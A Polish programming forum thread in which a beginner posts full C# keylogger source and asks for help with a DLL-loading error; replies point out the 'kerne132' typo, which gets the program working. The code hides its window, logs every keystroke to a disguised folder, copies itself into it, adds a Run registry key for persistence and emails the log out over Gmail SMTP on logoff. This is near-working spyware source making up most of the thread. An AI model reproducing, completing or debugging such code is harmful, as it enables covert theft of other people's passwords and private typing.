Proszę o poprawę kodu

0

Witam, od nie dawna uczę się programowania postanowiłem zrobić keyloggera i wystąpil o taki błąd

System.DllNotFoundException: 'Nie można załadować biblioteki DLL 'kerne132.dll': Nie można odnaleźć określonego modułu. (Wyjątek od HRESULT: 0x8007007E)'

a to jest cały kod

using Microsoft.Win32;
using System;
using System.IO;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace keylogger1
{
    class Program
    {

        public static bool chkSysEve = false;
        public static string path = @"C:\Windows Handler\";
        public static string fPath = @"C:\Windows Handler\Handler.dat";
        public static string appName = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
        public static string appExe = Path.GetFileName(appName);
        [DllImport("kerne132.dll")]
        static extern IntPtr GetConsoleWindow();
        [DllImport("user32.dll")]
        public static extern short GetAsyncKeyState(Int32 i);
        [DllImport("User32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        const int SW_HIDE = 0;
        //const int SW_SHOW = 5;


        static void Main(string[] args)
        {
            Program p = new Program();
            var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);


        ExLoop:
            if (!Directory.Exists(path))
            {
                Directory.CreateDirectory(path);
                File.Create(fPath);
            }
            else if (Directory.Exists(path) && !File.Exists(fPath))
            {

                File.Create(fPath);
                if (!File.Exists(fPath))
                {
                    goto ExLoop;
                }
                else
                {
                    p.Spread();

                    using (StreamWriter writer = new StreamWriter(fPath))
                    {
                        while (chkSysEve == false)
                        {
                            Thread.Sleep(10);
                            for (int i = 0; i < 255; i++)
                            {
                                int keyState = GetAsyncKeyState(i);
                                if (keyState == 1 || keyState == -32767)
                                {

                                    SystemEvents.SessionEnding += SystemEvents_SessionEnding;
                                    writer.WriteLine((Keys)i);
                                    writer.Flush();
                                    break;

                                }

                            }

                        }

                    }
                }
            }
        }

        static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
        {

            chkSysEve = true;

            Program p = new Program();

            switch (e.Reason)
            {

                case SessionEndReasons.Logoff:
                    p.SendMail();
                    break;
                case SessionEndReasons.SystemShutdown:
                    p.SendMail();
                    break;

            }

        }

        private void SendMail()
        {
            Program p = new Program();
            string date = DateTime.Now.ToString(@"dd\/MM h\:mm tt ");
            string user = Environment.UserName;

            try
            {
                MailMessage mail = new MailMessage();
                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress("");
                mail.To.Add("");
                mail.Subject = "Saved Keys From" + date;
                mail.Body = "Keystrokes saved from user" + user;

                Attachment attachment;
                attachment = new Attachment(fPath);
                mail.Attachments.Add(attachment);
                SmtpServer.Port = 587;
                SmtpServer.Credentials = new System.Net.NetworkCredential("", "");
                SmtpServer.EnableSsl = true;
                SmtpServer.Send(mail);



            }
            catch (Exception ex)
            {

                Console.WriteLine(ex.ToString());

            }

        }

        private void Spread()
        {

            if (!File.Exists(path + appExe))
            {

                FileInfo fi = new FileInfo(appName);
                fi.CopyTo(path + appExe);
                RegistryKey rk = Registry.CurrentUser.OpenSubKey
              ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                rk.SetValue(appExe, path + appExe);

            }

        }

    }
}
0

i to jest język c# na visual studio

3

Wystarczy przeczytać wyjątek: System.DllNotFoundException: 'Nie można załadować biblioteki DLL 'kerne132.dll':
Podpowiedź: kernel32

0
Afish napisał(a):

Wystarczy przeczytać wyjątek: System.DllNotFoundException: 'Nie można załadować biblioteki DLL 'kerne132.dll':
Podpowiedź: kernel32

Mam zamienić kerne132 na kernel32? Ja programuje dopiero tydzień więc nie wiem za bardzo ale bardzo dziękuję za odpowiedź

2

Programujesz tydzień i już piszesz keyloggera? Szacunek :)

0

Pisałem z poradnika ale starałem się sam wymyślać

3
vaxooo1231 napisał(a):

Mam zamienić kerne132 na kernel32? Ja programuje dopiero tydzień więc nie wiem za bardzo ale bardzo dziękuję za odpowiedź

Tak, bo metoda jest w kernel32.dll -> https://docs.microsoft.com/en-us/windows/console/getconsolewindow

0

Pisałem z poradnika ale starałem się sam wymyślać

3

Będziesz zadawać tu pytania na forum co 5 minut jak się bierzesz za budowanie wieżowca nie wiedząc jak się stawia fundamenty :)

1 użytkowników online, w tym zalogowanych: 0, gości: 1